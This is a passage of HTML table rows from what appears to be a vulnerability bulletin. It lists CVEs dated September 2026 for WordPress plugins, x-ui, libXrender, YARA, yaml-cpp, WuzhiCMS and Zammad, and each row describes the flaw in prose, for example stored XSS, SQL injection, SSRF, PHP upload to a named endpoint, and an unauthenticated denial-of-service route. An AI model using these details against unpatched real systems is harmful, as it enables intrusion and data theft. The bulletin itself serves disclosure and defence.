&lt;td class=&quot;vendor-product&quot;&gt;WP YouTube Lyte--WP YouTube Lyte&lt;/td&gt;
&lt;td&gt;The WP YouTube Lyte WordPress plugin before 1.7.31 does not escape some attributes of YouTube embed blocks before outputting them in an HTML attribute when rendering the block, which could allow users with a role as low as contributor to perform Stored Cross-Site Scripting attacks.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96895&quot; target=&quot;_blank&quot;&gt;CVE-2026-96895&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;wp-review-slider-pro--wp-review-slider-pro&lt;/td&gt;
&lt;td&gt;The wp-review-slider-pro WordPress plugin before 12.7.12 does not perform a capability check on one of its AJAX handlers, and the nonce protecting it is generated for every visitor, allowing any authenticated user, such as a subscriber, to store arbitrary review content which is later output without escaping on public pages, leading to Stored Cross-Site Scripting.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84095&quot; target=&quot;_blank&quot;&gt;CVE-2026-84095&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;wp-review-slider-pro--wp-review-slider-pro&lt;/td&gt;
&lt;td&gt;The wp-review-slider-pro WordPress plugin before 12.7.12 does not perform a capability check on the AJAX handler that saves its review submission forms, and the nonce protecting it is generated for every visitor, allowing any authenticated user, such as a subscriber, to overwrite a live form with field values that are output without escaping on public pages, leading to Stored Cross-Site Scripting.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84096&quot; target=&quot;_blank&quot;&gt;CVE-2026-84096&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;wp-review-slider-pro--wp-review-slider-pro&lt;/td&gt;
&lt;td&gt;The wp-review-slider-pro WordPress plugin before 12.7.12 does not sanitize a value stored through one of its AJAX handlers, which lacks a capability check, before using it in a SQL statement, allowing any authenticated user, such as a subscriber, to perform SQL injection attacks whose results are then returned to unauthenticated visitors.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84097&quot; target=&quot;_blank&quot;&gt;CVE-2026-84097&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WPC Smart Compare for WooCommerce--WPC Smart Compare for WooCommerce&lt;/td&gt;
&lt;td&gt;The WPC Smart Compare for WooCommerce WordPress plugin before 6.6.1 does not apply WordPress&#039;s post-password protection when returning product content through its comparison handler, allowing unauthenticated users to read the description of password-protected products.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90985&quot; target=&quot;_blank&quot;&gt;CVE-2026-90985&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WPeMatico RSS Feed Fetcher--WPeMatico RSS Feed Fetcher&lt;/td&gt;
&lt;td&gt;The WPeMatico RSS Feed Fetcher WordPress plugin before 2.8.27 does not perform a capability check or validate the destination of a user-supplied feed URL before fetching it server-side, allowing users with contributor-level access and above to make the server issue requests to internal-only resources and read the responses back.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89000&quot; target=&quot;_blank&quot;&gt;CVE-2026-89000&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WPeMatico RSS Feed Fetcher--WPeMatico RSS Feed Fetcher&lt;/td&gt;
&lt;td&gt;The WPeMatico RSS Feed Fetcher WordPress plugin before 2.8.27 does not verify that a user running a feed campaign is permitted to publish content or to attribute posts to another account, allowing users with contributor-level access and above to publish posts live and set any registered user, including an administrator, as the post author.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89001&quot; target=&quot;_blank&quot;&gt;CVE-2026-89001&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WPeMatico RSS Feed Fetcher--WPeMatico RSS Feed Fetcher&lt;/td&gt;
&lt;td&gt;The WPeMatico RSS Feed Fetcher WordPress plugin before 2.8.26 does not sanitize and escape content it retrieves from a user-supplied source before rendering it, which could allow users such as contributors to perform Stored Cross-Site Scripting attacks against higher-privileged users who review the campaign.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89002&quot; target=&quot;_blank&quot;&gt;CVE-2026-89002&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WPeMatico RSS Feed Fetcher--WPeMatico RSS Feed Fetcher&lt;/td&gt;
&lt;td&gt;The WPeMatico RSS Feed Fetcher WordPress plugin before 2.8.27 does not perform a capability check before fetching a user-supplied URL and rendering the response, allowing users with contributor-level access and above to force the server to issue requests to internal-only hosts and read the responses back.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89003&quot; target=&quot;_blank&quot;&gt;CVE-2026-89003&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WPeMatico RSS Feed Fetcher--WPeMatico RSS Feed Fetcher&lt;/td&gt;
&lt;td&gt;The WPeMatico RSS Feed Fetcher WordPress plugin before 2.8.26 does not verify ownership or authorization before returning a campaign&#039;s stored configuration and run log, allowing users with contributor-level access and above to read the configuration and execution logs of campaigns created by other users, including administrators.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89004&quot; target=&quot;_blank&quot;&gt;CVE-2026-89004&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WPeMatico RSS Feed Fetcher--WPeMatico RSS Feed Fetcher&lt;/td&gt;
&lt;td&gt;The WPeMatico RSS Feed Fetcher WordPress plugin before 2.8.26 does not sanitise and escape one of its campaign configuration fields when a certain feature is enabled, which allows users with the Contributor role and above to perform Stored Cross-Site Scripting attacks that execute in the session of any higher-privileged user who later views the campaign.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89005&quot; target=&quot;_blank&quot;&gt;CVE-2026-89005&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WPeMatico RSS Feed Fetcher--WPeMatico RSS Feed Fetcher&lt;/td&gt;
&lt;td&gt;The WPeMatico RSS Feed Fetcher WordPress plugin before 2.8.27 does not sanitize imported feed content before storing it as post content, allowing users with the Contributor role and above to perform Stored Cross-Site Scripting attacks.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89006&quot; target=&quot;_blank&quot;&gt;CVE-2026-89006&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;WPForms--WPForms&lt;/td&gt;
&lt;td&gt;The WPForms WordPress plugin before 2.0.2 does not verify that a Stripe payment object supplied during a public form submission belongs to it before acting on it, allowing unauthenticated users to trigger a full refund and an immediate subscription cancellation against payments created by other applications on the site owner&#039;s Stripe account.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-74991&quot; target=&quot;_blank&quot;&gt;CVE-2026-74991&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;wpForo Forum--wpForo Forum&lt;/td&gt;
&lt;td&gt;The wpForo Forum WordPress plugin before 3.1.6 does not restrict which classes may be instantiated when it deserializes a user-supplied profile field value, allowing authenticated users with Subscriber-level access and above to inject a PHP Object. No POP chain is present in the wpForo Forum WordPress plugin before 3.1.6 itself; if one is present via another installed wpForo Forum WordPress plugin before 3.1.6 or , this could lead to remote code execution, arbitrary file operations, or SQL injection. This is an incomplete fix of CVE-2026-49769.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80513&quot; target=&quot;_blank&quot;&gt;CVE-2026-80513&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Wuzhi--WuzhiCMS 5.0.0&lt;/td&gt;
&lt;td&gt;An unrestricted upload of files with a dangerous type in the thumbnail-upload endpoint (/index.php?m=member&amp;amp;f=article&amp;amp;v=thumbUpload) of WuzhiCMS 5.0.0 allows an authenticated low-privileged member to upload a crafted .php file and execute arbitrary PHP code on the server, because the stored file extension is taken verbatim from the client-supplied filename with no extension allowlist or content validation and the file is written to the web-accessible uploadfile/ directory, from which the web server executes PHP.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88419&quot; target=&quot;_blank&quot;&gt;CVE-2026-88419&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;x-ui--x-ui&lt;/td&gt;
&lt;td&gt;A horizontal privilege escalation vulnerability exists in x-ui 0.3.2. An authenticated user can modify the inbound proxy configurations of other users, including remark, port, protocol, settings, enabled state, expiry time and traffic quota, by submitting a request referencing the target resource identifier. The update path fails to verify that the target resource belongs to the requesting session user, allowing unauthorized cross-user modification of data.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79314&quot; target=&quot;_blank&quot;&gt;CVE-2026-79314&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;x-ui--x-ui&lt;/td&gt;
&lt;td&gt;A reflected cross-site scripting vulnerability exists in x-ui 0.3.2. The management interface reflects the raw request URI into a client-side template binding expression used for sidebar menu highlighting. Server-side HTML entity escaping is ineffective in this context: the browser decodes the entities before the client-side framework evaluates the content as a JavaScript expression. A logged-in panel user who visits a crafted URL allows arbitrary script execution in the same-origin context of the management page, enabling data theft and unauthorized actions through the victim&#039;s session.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79315&quot; target=&quot;_blank&quot;&gt;CVE-2026-79315&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;x-ui--x-ui&lt;/td&gt;
&lt;td&gt;An improper access control vulnerability exists in x-ui 0.3.2. Any authenticated panel user can modify the xray configuration template through the settings interface and trigger a panel restart, causing the xray management gRPC service, which is bound to loopback by default, to be regenerated and bound to non-loopback addresses. This expands the reachable surface of the management interface beyond its intended local-only boundary.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79316&quot; target=&quot;_blank&quot;&gt;CVE-2026-79316&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;x-ui--x-ui&lt;/td&gt;
&lt;td&gt;A session invalidation flaw exists in x-ui 0.3.2. The full user object is stored in a client-side signed cookie, and authentication only checks that a user object can be retrieved from the cookie without re-validating against the database or any session version. When an administrator changes the username or password, previously issued session cookies are not revoked, so an attacker who holds a pre-change admin cookie can continue accessing and operating the management interface after the credentials have been rotated.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79317&quot; target=&quot;_blank&quot;&gt;CVE-2026-79317&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;X.org--libXrender&lt;/td&gt;
&lt;td&gt;A heap overflow in libXrender before 0.9.13 in&amp;nbsp;RenderQueryPictFormats could be used by malicious X servers to inject code into attached X clients.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88807&quot; target=&quot;_blank&quot;&gt;CVE-2026-88807&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;YAHMAN Add-ons--YAHMAN Add-ons&lt;/td&gt;
&lt;td&gt;The YAHMAN Add-ons WordPress plugin before 0.9.31 does not validate the type of the remote files it caches in a publicly accessible directory, allowing unauthenticated attackers to write arbitrary PHP files on the server and achieve RCE when the relevant feature is enabled.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75799&quot; target=&quot;_blank&quot;&gt;CVE-2026-75799&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;yaml-cpp--yaml-cpp 0.9.0&lt;/td&gt;
&lt;td&gt;An issue in yaml-cpp 0.9.0 allows a remote attacker to obtain sensitive information via the src/scanner.cpp, Scanner::PopIndent(), and Scanner::PushIndentTo() components&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75432&quot; target=&quot;_blank&quot;&gt;CVE-2026-75432&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;YARA -- YARA 4.5.8&lt;/td&gt;
&lt;td&gt;An invalid pointer release vulnerability exists in YARA 4.5.8 during deserialization of compiled .yrc rule files. The vulnerability is caused by insufficient validation of external-variable pointers, which may lead to invalid free in yr_rules_destroy() or wild pointer access in yr_object_create(). An attacker can provide a specially crafted .yrc file that causes memory corruption and application crash.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88340&quot; target=&quot;_blank&quot;&gt;CVE-2026-88340&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;YARA -- YARA 4.5.8&lt;/td&gt;
&lt;td&gt;A reachable assertion vulnerability exists in YARA 4.5.8 when loading crafted .yrc compiled rule files. An attacker can provide a malicious file with an invalid arena configuration (num_buffers=0) that triggers an assertion failure in yr_arena_get_ptr(), causing the application to terminate.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88341&quot; target=&quot;_blank&quot;&gt;CVE-2026-88341&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zammad--zammad&lt;/td&gt;
&lt;td&gt;Zammad is a web based open source helpdesk/customer support system. Prior to 7.0.2, a customer who can view a ticket cannot see internal ticket articles through the article listing API. However, the same customer can directly request an attachment belonging to an internal article via the attachment download endpoint, bypassing article-level authorization. This results in an inconsistency: The article listing hides internal articles from customers. The attachment download only checks the parent ticket, not the article, so the same customer can download the attachment directly. This issue is fixed in version 7.0.2.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56723&quot; target=&quot;_blank&quot;&gt;CVE-2026-56723&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zammad--zammad&lt;/td&gt;
&lt;td&gt;Zammad is a web based open source helpdesk/customer support system. Prior to 7.0.2, summary An issue with permission checks in the knowledge base management area has been identified. Under certain conditions, data validation for linked items was not fully enforced. This could have allowed users with limited read permissions to interact with items outside their assigned access scope. Data access has been strengthened in the current version through additional validation routines. This issue is fixed in version 7.0.2.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56724&quot; target=&quot;_blank&quot;&gt;CVE-2026-56724&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zammad--zammad&lt;/td&gt;
&lt;td&gt;Zammad is a web based open source helpdesk/customer support system. Prior to 7.0.2, summary An unauthenticated request to POST /api/v1/import/otrs/import_check blocks a Zammad request worker for roughly two minutes. The import_check and import_status actions are missing the setup_done_response guard that other actions in the same controller carry, so they execute on fully set-up production instances. The action enters a retry loop against a blank OTRS endpoint, sleeping for 30 s + 45 s between attempts. Impact An unauthenticated remote attacker denies service to a production Zammad instance. Each request costs almost nothing and forces ~115 seconds of server-side blocking. A few requests per second saturate the Puma worker pool. The condition persists as long as the traffic continues. No account, valid import configuration, or target knowledge beyond the hostname is needed. CSRF token is trivially obtained from any prior GET response. This issue is fixed in version 7.0.2.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56725&quot; target=&quot;_blank&quot;&gt;CVE-2026-56725&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zammad--zammad&lt;/td&gt;
&lt;td&gt;Zammad is a web based open source helpdesk/customer support system. Prior to 7.0.2, this vulnerability breaks normal ticket isolation boundaries between agents. Any authenticated agent, even one with no active tickets assigned to them, can view the titles, status, labels, and URL links of GitHub/GitLab issues attached to any ticket in the system. This allows an internal user to systematically view GitHub/GitLab issue data linked by other agents or administrators across the organization by simply querying random or sequential ticket IDs. This vulnerability is fixed in 7.0.2.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56726&quot; target=&quot;_blank&quot;&gt;CVE-2026-56726&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zammad--zammad&lt;/td&gt;
&lt;td&gt;Zammad is a web based open source helpdesk/customer support system. Prior to 7.0.2, summary In Zammad&#039;s inbound PGP email processing, the return value of the gpg verification call was silently discarded. Regardless of whether gpg reported a valid, invalid, or missing signature, the handler unconditionally wrote sign: { success: true, comment: &quot;Good signature&quot; } to the article&#039;s security preferences. Impact Any sender could tamper with the body of a multipart/signed PGP email, or craft a message with an entirely fabricated or mismatched signature, and Zammad would display it to the recipient as cryptographically verified with a &quot;Good signature&quot; label. Users and agents relying on Zammad&#039;s signature indicator to confirm message authenticity and integrity would be misled into trusting modified or forged content. The vulnerability affects all inbound PGP-signed emails processed while the PGP integration is enabled. This issue is fixed in version 7.0.2.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56727&quot; target=&quot;_blank&quot;&gt;CVE-2026-56727&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zammad--zammad&lt;/td&gt;
&lt;td&gt;Zammad is a web based open source helpdesk/customer support system. Prior to 7.0.2, a broken access control vulnerability exists in Zammad&#039;s GraphQL API. An authenticated user can access taskbar item data belonging to another user by crafting a request with the target user&#039;s taskbar identifier. The taskbar feature stores transient state for active user sessions, including auto-saved ticket drafts. Under certain conditions, the authorization check for taskbar item access is not enforced, allowing a user to read another user&#039;s taskbar item data. This vulnerability is fixed in 7.0.2.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56728&quot; target=&quot;_blank&quot;&gt;CVE-2026-56728&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zammad--zammad&lt;/td&gt;
&lt;td&gt;Zammad is a web based open source helpdesk/customer support system. Prior to 7.0.2, when multiple KB categories have different editor roles assigned, a user with knowledge_base.editor in one category can see answer titles and updated_at timestamps from categories they do not have editor access to , via the global quick search. Category names are not leaked, and opening the answer returns &quot;Page not found,&quot; but the title alone may disclose sensitive information. This vulnerability is fixed in 7.0.2.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56729&quot; target=&quot;_blank&quot;&gt;CVE-2026-56729&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zammad--zammad&lt;/td&gt;
&lt;td&gt;Zammad is a web based open source helpdesk/customer support system. Prior to 7.0.2, an authorization bypass vulnerability was found that allows an authenticated agent to read knowledge base answer content they should not be able to access. The vulnerable GraphQL mutation is meant to transform a knowledge base answer suggestion so it can be inserted into the ticket editor, but it only checks if the user has the ticket.agent permission. Checking the authorization to the knowledge base answer itself is missing. This vulnerability is fixed in 7.0.2.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56730&quot; target=&quot;_blank&quot;&gt;CVE-2026-56730&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zammad--zammad&lt;/td&gt;
&lt;td&gt;Zammad is a web based open source helpdesk/customer support system. Prior to 7.0.1, a low-privilege authenticated user may inject arbitrary HTML markup, including JavaScript event handlers, into a ticket title via the standard ticket creation workflow. The title is persisted without sanitization. This issue is fixed in version 7.0.1.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56731&quot; target=&quot;_blank&quot;&gt;CVE-2026-56731&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zammad--zammad&lt;/td&gt;
&lt;td&gt;Zammad is a web based open source helpdesk/customer support system. Prior to 7.0.2, vulnerability in Zammad&#039;s HTML sanitization allows injection of specific HTML elements into ticket bodies. When another user views the crafted ticket, the injected element can trigger a logout request, terminating the viewer&#039;s session. This vulnerability is fixed in 7.0.2.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56732&quot; target=&quot;_blank&quot;&gt;CVE-2026-56732&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zammad--zammad&lt;/td&gt;
&lt;td&gt;Zammad is a web based open source helpdesk/customer support system. Prior to 7.0.2 and 7.1.0, this issue concerns a lack of discursive validation within the authorization cascade. It has been determined that the system-level enforcement of access restrictions during the initialization of new identity objects exhibits a discrepancy: Under specific conditions, the granular restrictions of the access key being used are overridden by the latent authorization authority of the parent account. Consequently, this means that the intended separation of functional areas is nullified, resulting in an uncontrolled expansion of administrative discretion. Due to this potential integrity breach of the entire trust environment, an immediate evaluation of the authorization hierarchies is imperative. Impact An attacker can create new administrator accounts despite token restrictions. This grants full access to all system data (tickets, customers, configuration) and allows the attacker to take complete control of the Zammad instance. Abuse Scenario The vulnerability stems from a lack of synergy between the token-based authorization logic and the target system&#039;s functional authorization hierarchy, which allows for iterative escalation of the privileged access context. This issue is fixed in versions 7.0.2 and 7.1.0.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56733&quot; target=&quot;_blank&quot;&gt;CVE-2026-56733&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zammad--zammad&lt;/td&gt;
&lt;td&gt;Zammad is a web based open source helpdesk/customer support system. Prior to 7.0.2, during federated authentication (OAuth/OIDC/SAML), a profile image URL from the external identity provider is fetched without verifying the target address. An actor who controls their profile at a connected provider may cause the server to connect to internal network locations. Response timing and error patterns differ between reachable and unreachable targets, allowing internal service probing. Worker processes may be blocked for several seconds per request. Requires a configured external authentication provider where the actor can modify their profile image URL. This issue is fixed in version 7.0.2.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56734&quot; target=&quot;_blank&quot;&gt;CVE-2026-56734&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zammad--zammad&lt;/td&gt;
&lt;td&gt;Zammad is a web based open source helpdesk/customer support system. Prior to 7.0.2 and 7.1.0, zammad&#039;s HTML sanitizer (HtmlSanitizer::Strict) blocks external URLs in to prevent remote content loading, but the srcset attribute, also allowlisted for , is not subject to the same check. This oversight allows an attacker to embed arbitrary external URLs in the srcset attribute just by sending an e-mail, effectively bypassing the external content protection. When an agent views the ticket containing the malicious srcset, the browser will silently load the attacker-controlled URL, resulting in the leakage of the agent&#039;s IP address, User-Agent, Referer, and the exact time the ticket was viewed. HtmlSanitizer::Strict got extended to block external URLs in the srcset attribute of tags. This was done to prevent tracking pixels and external content loading, which could compromise user privacy. This issue is fixed in versions 7.0.2 and 7.1.0.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56735&quot; target=&quot;_blank&quot;&gt;CVE-2026-56735&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zammad--zammad&lt;/td&gt;
